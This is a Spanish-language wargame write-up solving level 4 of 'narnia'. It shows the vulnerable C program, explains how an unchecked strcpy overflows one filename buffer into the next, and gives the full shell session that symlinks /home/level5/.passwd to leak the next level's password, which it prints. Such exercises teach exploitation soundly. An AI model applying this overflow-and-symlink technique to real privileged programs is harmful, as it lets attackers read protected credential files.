Wargame narnia: Nivel 4
Del wargame de narnia de momento hemos visto como solucionar:
Vamos ahora a seguir con el nivel 4.
El código que se nos presenta es el siguiente:
level4@narnia:~$ cat /wargame/level4.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}
/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}
/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
/* close 'em */
close(ifd);
close(ofd);
exit(1);
}
Simplemente abre un fichero que le pasemos por parámetro y escribe su contenido a /dev/null. El objetivo será entonces cambiar el fichero destino para que nos lea el fichero /home/level5/.passwd y nos deje el contenido en un fichero que sea accesible por nosotros.
En el código podemos ver:
char ofile[16] = "/dev/null";
char ifile[32];
Las dos cadenas quedan en memoria contiguas y como no se comprueba el tamaño del string de origen (argv[1]) podemos generar un nombre de fichero origen de un espacio superior a 32 bytes sobrescribiendo la cadena que viene después. De esta manera tenemos:
De esta forma el nombre del fichero origen consistirá en 33 caracteres: 32 en el espacio reservado para la variable char ifile[32] más un carácter en el espacio de char ofile[16] más el cero de fin de string.
Para el fichero destino, como se sobrescribe tendremos:
Por lo tanto intentará escribir en el fichero a en lugar de hacerlo en /dev/null.
Así, simplemente nos deberemos situar en un directorio que tengamos permisos de escritura y crear los dos ficheros, el primero que sea un softlink al fichero a leer y el segundo un fichero vació. Los comandos serían:
level4@narnia:~$ mkdir /tmp/lol level4@narnia:~$ cd !$ cd /tmp/lol level4@narnia:/tmp/lol$ perl -e 'print "a"x33;' aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaalevel4@narnia:/tmp/lol$ level4@narnia:/tmp/lol$ /wargame/level4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa error opening a level4@narnia:/tmp/lol$ umask 111 level4@narnia:/tmp/lol$ touch a level4@narnia:/tmp/lol$ /wargame/level4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa error opening aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa level4@narnia:/tmp/lol$ touch aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa level4@narnia:/tmp/lol$ /wargame/level4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa copied contents of aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa to a safer place... (a) level4@narnia:/tmp/lol$ ln -sf /home/level5/.passwd aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa level4@narnia:/tmp/lol$ /wargame/level4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa copied contents of aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa to a safer place... (a)
Dentro del fichero a podemos encontrar la contraseña para el siguiente nivel:
level4@narnia:/tmp/lol$ cat a ohY2Woh% (none)_level4@narnia:/tmp/lol$
El listado de soluciones de otros niveles del wargame de narnia es el siguiente:
Relacionados
Imprimir


Deja un comentario: